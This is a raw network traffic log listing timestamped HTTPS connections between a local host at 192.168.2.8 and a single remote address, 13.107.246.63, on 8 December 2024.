Dec 8, 2024 10:47:36.393337011 CET	443	49750	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.799099922 CET	443	49748	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.799173117 CET	443	49748	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.799235106 CET	49748	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.821810961 CET	443	49751	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.821886063 CET	443	49751	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.821968079 CET	49751	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.822458029 CET	443	49752	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.822541952 CET	443	49752	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.822599888 CET	49752	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.823086023 CET	443	49749	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.823158979 CET	443	49749	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.823678970 CET	443	49750	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.823740959 CET	49749	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.823755026 CET	443	49750	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.823806047 CET	49750	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.826931000 CET	49750	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.826960087 CET	443	49750	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.826972961 CET	49750	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.826981068 CET	443	49750	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.827960968 CET	49749	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.827960968 CET	49749	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.827989101 CET	443	49749	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.828006029 CET	443	49749	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.830679893 CET	49748	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.830691099 CET	443	49748	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.830733061 CET	49748	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.830738068 CET	443	49748	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.831118107 CET	49751	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.831135035 CET	443	49751	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.831162930 CET	49751	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.831168890 CET	443	49751	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.832355022 CET	49752	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.832355022 CET	49752	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.832382917 CET	443	49752	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.832389116 CET	443	49752	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.837677956 CET	49754	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.837724924 CET	443	49754	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.837789059 CET	49754	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.839247942 CET	49755	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.839297056 CET	443	49755	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.839360952 CET	49755	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.843628883 CET	49754	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.843660116 CET	443	49754	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.843750954 CET	49755	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.843771935 CET	443	49755	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.846359015 CET	49756	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.846386909 CET	443	49756	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.846519947 CET	49756	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.846973896 CET	49756	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.846987009 CET	443	49756	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.848897934 CET	49757	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.848931074 CET	443	49757	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.849004030 CET	49757	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.849302053 CET	49757	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.849318027 CET	443	49757	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.850836039 CET	49758	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.850847006 CET	443	49758	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.850917101 CET	49758	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.852209091 CET	49758	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.852220058 CET	443	49758	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:38.560960054 CET	443	49754	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:38.561290026 CET	443	49755	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:38.561731100 CET	49754	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:38.561767101 CET	443	49754	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:38.561786890 CET	49755	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:38.561817884 CET	443	49755	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:38.562660933 CET	443	49756	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:38.562942028 CET	49754	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:38.562953949 CET	443	49754	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:38.563142061 CET	443	49757	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:38.563663006 CET	49755	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:38.563685894 CET	443	49755	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:38.563848972 CET	49757	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:38.563880920 CET	443	49757	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:38.564084053 CET	49756	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:38.564102888 CET	443	49756	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:38.564418077 CET	49757	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:38.564425945 CET	443	49757	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:38.564641953 CET	49756	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:38.564649105 CET	443	49756	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:38.568377018 CET	443	49758	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:38.568808079 CET	49758	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:38.568829060 CET	443	49758	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:38.569365978 CET	49758	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:38.569374084 CET	443	49758	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:38.995141029 CET	443	49754	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:38.995229006 CET	443	49754	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:38.995266914 CET	443	49755	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:38.995287895 CET	49754	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:38.995338917 CET	443	49755	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:38.995383978 CET	49755	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:38.995618105 CET	49754	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:38.995642900 CET	443	49754	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:38.995659113 CET	49754	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:38.995665073 CET	443	49754	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:38.996187925 CET	49755	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:38.996216059 CET	443	49755	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:38.996232033 CET	49755	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:38.996238947 CET	443	49755	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:38.996354103 CET	443	49756	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:38.996421099 CET	443	49756	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:38.996493101 CET	49756	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:38.998487949 CET	443	49757	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:38.998564959 CET	443	49757	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:38.998686075 CET	49757	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:38.999643087 CET	49756	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:38.999643087 CET	49756	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:38.999665976 CET	443	49756	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:38.999670982 CET	443	49756	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:38.999771118 CET	49757	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:38.999771118 CET	49757	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:38.999794006 CET	443	49757	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:38.999804974 CET	443	49757	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:39.002824068 CET	443	49758	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:39.002901077 CET	443	49758	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:39.002974033 CET	49758	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:39.005172968 CET	49759	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:39.005220890 CET	443	49759	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:39.005290031 CET	49759	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:39.005362034 CET	49758	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:39.005381107 CET	443	49758	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:39.005393982 CET	49758	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:39.005399942 CET	443	49758	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:39.005975962 CET	49760	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:39.006023884 CET	443	49760	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:39.006098032 CET	49760	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:39.007051945 CET	49761	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:39.007090092 CET	443	49761	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:39.007236004 CET	49759	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:39.007263899 CET	443	49759	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:39.007308960 CET	49761	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:39.007518053 CET	49761	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:39.007530928 CET	443	49761	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:39.007756948 CET	49760	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:39.007781029 CET	443	49760	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:39.008614063 CET	49762	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:39.008636951 CET	443	49762	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:39.009287119 CET	49762	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:39.009717941 CET	49762	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:39.009727955 CET	443	49762	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:39.009891987 CET	49763	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:39.009932995 CET	443	49763	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:39.010684967 CET	49763	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:39.010916948 CET	49763	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:39.010934114 CET	443	49763	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:40.727977991 CET	443	49760	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:40.727987051 CET	443	49759	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:40.728512049 CET	49760	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:40.728526115 CET	443	49762	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:40.728532076 CET	443	49760	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:40.728554964 CET	443	49761	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:40.728574038 CET	49759	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:40.728607893 CET	443	49759	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:40.728842020 CET	49761	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:40.728862047 CET	443	49761	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:40.729021072 CET	49759	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:40.729028940 CET	443	49759	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:40.729032993 CET	443	49763	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:40.729314089 CET	49760	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:40.729315996 CET	49761	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:40.729320049 CET	443	49760	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:40.729322910 CET	443	49761	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:40.729585886 CET	49763	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:40.729598045 CET	443	49763	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:40.729849100 CET	49762	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:40.729856014 CET	443	49762	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:40.730046034 CET	49763	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:40.730051994 CET	443	49763	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:40.730269909 CET	49762	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:40.730274916 CET	443	49762	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:41.161154032 CET	443	49760	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:41.161237955 CET	443	49760	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:41.161499977 CET	49760	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:41.161617994 CET	49760	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:41.161617994 CET	49760	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:41.161638021 CET	443	49760	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:41.161648035 CET	443	49760	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:41.161778927 CET	443	49762	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:41.161791086 CET	443	49759	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:41.161847115 CET	443	49759	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:41.161861897 CET	443	49762	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:41.161919117 CET	49762	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:41.161937952 CET	49759	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:41.162405968 CET	443	49763	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:41.162476063 CET	443	49763	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:41.162602901 CET	49763	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:41.162837029 CET	443	49761	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:41.162899971 CET	443	49761	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:41.163631916 CET	49761	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:41.163703918 CET	49762	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:41.163703918 CET	49762	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:41.163717985 CET	443	49762	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:41.163727045 CET	443	49762	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:41.163817883 CET	49763	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:41.163819075 CET	49763	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:41.163839102 CET	443	49763	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:41.163845062 CET	443	49763	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:41.163893938 CET	49761	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:41.163893938 CET	49761	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:41.163899899 CET	443	49761	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:41.163923979 CET	443	49761	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:41.166085005 CET	49759	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:41.166085005 CET	49759	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:41.166102886 CET	443	49759	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:41.166112900 CET	443	49759	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:41.169193983 CET	49764	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:41.169244051 CET	443	49764	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:41.169377089 CET	49764	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:41.169404030 CET	49765	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:41.169447899 CET	443	49765	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:41.169667006 CET	49765	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:41.170316935 CET	49766	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:41.170341015 CET	443	49766	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:41.170552969 CET	49766	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:41.171159029 CET	49766	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:41.171184063 CET	443	49766	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:41.172390938 CET	49767	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:41.172394037 CET	49764	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:41.172415018 CET	443	49764	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:41.172424078 CET	443	49767	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:41.172533035 CET	49765	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:41.172533035 CET	49767	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:41.172548056 CET	443	49765	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:41.172765970 CET	49767	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:41.172777891 CET	443	49767	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:41.174304962 CET	49768	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:41.174341917 CET	443	49768	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:41.174518108 CET	49768	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:41.174599886 CET	49768	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:41.174607992 CET	443	49768	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:41.272737980 CET	49769	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:41.272790909 CET	443	49769	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:41.273005962 CET	49769	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:41.273519993 CET	49769	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:41.273535967 CET	443	49769	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:42.883290052 CET	443	49766	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:42.883810043 CET	49766	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:42.883822918 CET	443	49766	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:42.884351969 CET	49766	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:42.884356976 CET	443	49766	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:42.889655113 CET	443	49764	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:42.890121937 CET	443	49765	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:42.890162945 CET	49764	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:42.890175104 CET	443	49764	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:42.890588045 CET	443	49767	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:42.890717030 CET	49765	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:42.890742064 CET	443	49765	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:42.890826941 CET	49764	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:42.890836954 CET	443	49764	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:42.891141891 CET	49765	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:42.891153097 CET	443	49765	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:42.891170979 CET	49767	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:42.891177893 CET	443	49767	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:42.891643047 CET	49767	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:42.891648054 CET	443	49767	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:42.891825914 CET	443	49768	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:42.892163992 CET	49768	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:42.892189980 CET	443	49768	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:42.892644882 CET	49768	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:42.892649889 CET	443	49768	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:42.986747980 CET	443	49769	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:42.989197016 CET	49769	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:42.989227057 CET	443	49769	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:43.001197100 CET	49769	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:43.001224041 CET	443	49769	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:43.317080021 CET	443	49766	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:43.317225933 CET	443	49766	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:43.317285061 CET	49766	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:43.317414045 CET	49766	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:43.317445040 CET	443	49766	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:43.317461967 CET	49766	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:43.317467928 CET	443	49766	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:43.320252895 CET	49770	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:43.320307970 CET	443	49770	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:43.320394039 CET	49770	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:43.320538044 CET	49770	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:43.320554018 CET	443	49770	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:43.323405027 CET	443	49764	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:43.323426962 CET	443	49767	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:43.323472023 CET	443	49764	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:43.323496103 CET	443	49767	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:43.323565006 CET	49764	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:43.323641062 CET	49767	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:43.323652029 CET	443	49765	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:43.323721886 CET	443	49765	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:43.323725939 CET	49764	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:43.323734999 CET	443	49764	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:43.323760986 CET	49767	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:43.323786020 CET	443	49767	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:43.323801994 CET	49767	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:43.323811054 CET	443	49767	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:43.323821068 CET	49765	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:43.323992014 CET	49765	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:43.323997021 CET	443	49765	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:43.324028969 CET	49765	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:43.324033976 CET	443	49765	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:43.326314926 CET	443	49768	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:43.326387882 CET	443	49768	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:43.326524973 CET	49768	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:43.326981068 CET	49771	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:43.327018023 CET	443	49771	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:43.327091932 CET	49771	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:43.328619003 CET	49772	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:43.328649998 CET	443	49772	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:43.328711033 CET	49773	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:43.328731060 CET	49772	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:43.328754902 CET	443	49773	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:43.328805923 CET	49773	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:43.328897953 CET	49772	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:43.328907967 CET	443	49772	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:43.328912020 CET	49773	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:43.328932047 CET	443	49773	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:43.329121113 CET	49768	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:43.329144001 CET	443	49768	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:43.329183102 CET	49768	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:43.329190016 CET	443	49768	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:43.329298973 CET	49771	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:43.329314947 CET	443	49771	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:43.331610918 CET	49774	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:43.331636906 CET	443	49774	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:43.331716061 CET	49774	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:43.331816912 CET	49774	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:43.331831932 CET	443	49774	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:43.431512117 CET	443	49769	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:43.431541920 CET	443	49769	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:43.431602001 CET	49769	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:43.431618929 CET	443	49769	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:43.431860924 CET	49769	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:43.431875944 CET	443	49769	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:43.431890011 CET	49769	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:43.432039976 CET	443	49769	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:43.432069063 CET	443	49769	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:43.432132006 CET	49769	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.035579920 CET	443	49770	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.036494017 CET	49770	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.036526918 CET	443	49770	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.036657095 CET	49770	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.036664963 CET	443	49770	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.042011023 CET	443	49773	13.107.246.63	192.168.2.8
